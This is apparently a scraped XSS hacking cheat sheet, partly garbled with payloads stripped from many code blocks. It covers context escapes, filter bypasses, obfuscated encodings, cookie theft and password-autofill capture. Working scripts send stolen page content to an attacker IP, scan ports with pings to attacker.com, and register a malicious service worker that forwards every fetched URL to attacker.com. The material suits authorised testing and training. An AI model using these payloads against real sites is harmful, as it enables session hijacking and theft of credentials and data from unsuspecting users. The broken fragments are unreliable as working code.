# XSS (Cross Site Scripting)
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**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## Methodology 1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code. 2. **Find the context** where it's reflected/used. 3. If **reflected** 1. Check **which symbols can you use** and depending on that, prepare the payload: 1. In **raw HTML**: 1. Can you create new HTML tags? 2. Can you use events or attributes supporting `javascript:` protocol? 3. Can you bypass protections? 4. Is the HTML content being interpreted by any client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md). 5. If you cannot create HTML tags that execute JS code, could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection.md)? 2. Inside a **HTML tag**: 1. Can you exit to raw HTML context? 2. Can you create new events/attributes to execute JS code? 3. Does the attribute where you are trapped support JS execution? 4. Can you bypass protections? 3. Inside **JavaScript code**: 1. Can you escape the ``** tags of a HTML page, inside a \*\*`.js` \*\* file or inside an attribute using **`javascript:`** protocol: * If reflected between **``** tags, even if your input if inside any kind of quotes, you can try to inject `` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `` tag is inside the HTML code. * If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed: * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` `` #### Javascript Hoisting Javascript Hoisting references the opportunity to **declare functions, variables or classes after they are used**. Therefore if you have scenarios where you can **Inject JS code after an undeclared object** is used, you could **fix the syntax** by declaring it (so your code gets executed instead of throwing an error): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); // You can define it in your injection to execute JS //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b '-alert(1)-''); function vulnerableFunction(a,b){return 1}; //Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1) test'); function vulnerableFunction(a,b){ return 1 };alert(1) ``` ```javascript // If a variable is not defined, you could define it in the injection // In the following example var a is not defined function myFunction(a,b){ return 1 }; myFunction(a, '') //Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b test'); var a = 1; alert(1); ``` ```javascript // If an undeclared class is used, you cannot declare it AFTER being used var variable = new unexploitableClass(); // But you can actually declare it as a function, being able to fix the syntax with something like: function unexploitableClass() { return 1; } alert(1); ``` ```javascript // Properties are not hoisted // So the following examples where the 'cookie' attribute doesn´t exist // cannot be fixed if you can only inject after that code: test.cookie('leo','INJECTION') test['cookie','injection'] ``` For more info about Javascript Hoisting check: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) ### Javascript Function Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`. A good way to find out if something given directly by the user is trying to be executed is **modifying the param value** (for example to 'Vulnerable') and looking in the console for errors like: ![](<../../.gitbook/assets/image (651) (2).png>) In case it's vulnerable, you could be able to **trigger an alert** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **validate the content** to only allow letters, numbers, dots and underscores (**`[\w\._]`**). However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **access any element in the DOM**: ![](<../../.gitbook/assets/image (662).png>) Some useful functions for this: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`. However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions. Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **Universal XSS** These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\ Some **examples**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/" %} [xss-to-rce-electron-desktop-apps](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) {% endcontent-ref %} ## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) ## Injecting inside raw HTML When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\ For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Note: A HTML comment can be closed using\*\*\*\*\*\*\*\***** ****`-->`**** ****or \*\*\*\*****`--!>`**_ In this case and if no black/whitelisting is used, you could use payloads like: ```javascript ``` But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create.\ Once you have **located which tags are allowed**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context. ### Tags/Events brute-force Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before). ### Custom tags If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code: ``` /?search=#x ``` ### Blacklist Bypasses If some kind of blacklist is being used you could try to bypass it with some silly tricks: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Note that if you try to **use both** `URLencode + HTMLencode` in any order to encode the **payload** it **won't** **work**, but you can **mix them inside the payload**. **Using Hex and Octal encode with `javascript:`** You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` (at least) to declare **HTML tags to execute JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Reverse tab nabbing ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS in "Unexploitable tags" (input hidden, link, canonical) From [here](https://portswigger.net/research/xss-in-hidden-input-fields):\ You can execute an **XSS payload inside a hidden attribute**, provided you can **persuade** the **victim** into pressing the **key combination**. On Firefox Windows/Linux the key combination is **ALT+SHIFT+X** and on OS X it is **CTRL+ALT+X**. You can specify a different key combination using a different key in the access key attribute. Here is the vector: ```markup ``` Note that in this example we **haven't even closed the single quote**, but that's not necessary as the **browser first performs HTML parsing** to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts. ### Inside JS code If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\ Therefore, if you find that your input is being **reflected** inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**: This can be **abused** using: `${alert(1)}` ### Encoded code execution ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) ([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')() ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ``` ## XSS common payloads ### Several payloads in 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Retrieve Cookies ```javascript /?c="+document.cookie> ``` {% hint style="info" %} You **won't be able to access the cookies from JavaScript** if the HTTPOnly flag is set in the cookie. But here you have [some ways to bypass this protection](../hacking-with-cookies/#httponly) if you are lucky enough. {% endhint %} ### Steal Page Content ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Find internal IPs ```html ``` ### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Auto-fill passwords capture ```javascript Username:
Password:
``` When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. ### Keylogger Just searching in github I found a few different ones: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * You can also use metasploit `http_javascript_keylogger` ### XSS - Stealing CSRF tokens ```javascript ``` ### XSS - Stealing PostMessage messages ```markup ``` ### XSS - Abusing Service Workers A service worker is a **script** that your browser **runs** in the **background**, separate from a web page, opening the door to features that don't need a web page or user interaction. ([More info about what is a service worker here](https://developers.google.com/web/fundamentals/primers/service-workers)).\ The goal of this attack is to **create service workers** on the **victim session** inside the **vulnerable** web **domain** that grant the **attacker control** over **all the pages** the **victim** will load in **that domain**. You can see them in the **Service Workers** field in the **Application** tab of **Developer Tools**. You can also look at [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals). If the victim didn't grant push notifications permissions the service worker won't be able to receive communications from the server if the user doesn't access the attacker page again. This will prevent for example, maintain conversations with all the pages that accessed the attacker web page so web a exploit if found the SW can receive it and execute it. However, if the victim grants push notifications permissions this could be a risk. In order to exploit this vulnerability you need to find: * A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file * A **vulnerable JSONP request** where you can **manipulate the output (with arbitrary JS code)** and a **XSS** to **load the JSONP with a payload** that will **load a malicious service worker**. In the following example I'm going to present a code to **register a new service worke**r that will listen to the `fetch` event and will **send to the attackers server each fetched URL** (this is the code you would need to **upload** to the **server** or load via a **vulnerable JSONP** response): ```javascript self.addEventListener('fetch', function(e) { e.respondWith(caches.match(e.request).then(function(response) { fetch('https://attacker.com/fetch_url/' + e.request.url) }); ``` And this is the code that will **register the worker** (the code you should be able to execute abusing a **XSS**). In this case a **GET** request will be sent to the **attackers** server **notifying** if the **registration** of the service worker was successful or not: ```javascript ``` In case of abusing a vulnerable JSONP endpoint you should put the value inside `var sw`. For example: ```javascript var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"; ``` There is **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities. In an XSS situation, the 24 hour cache directive limit ensures that a malicious or compromised SW will outlive a fix to the XSS vulnerability by a maximum of 24 hours (assuming the client is online). Site operators can shrink the window of vulnerability by setting lower TTLs on SW scripts. We also encourage developers to [build a kill-switch SW](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776). ### Polyglots {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Blind XSS payloads You can also use: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >Click Me For An Awesome Time "> ">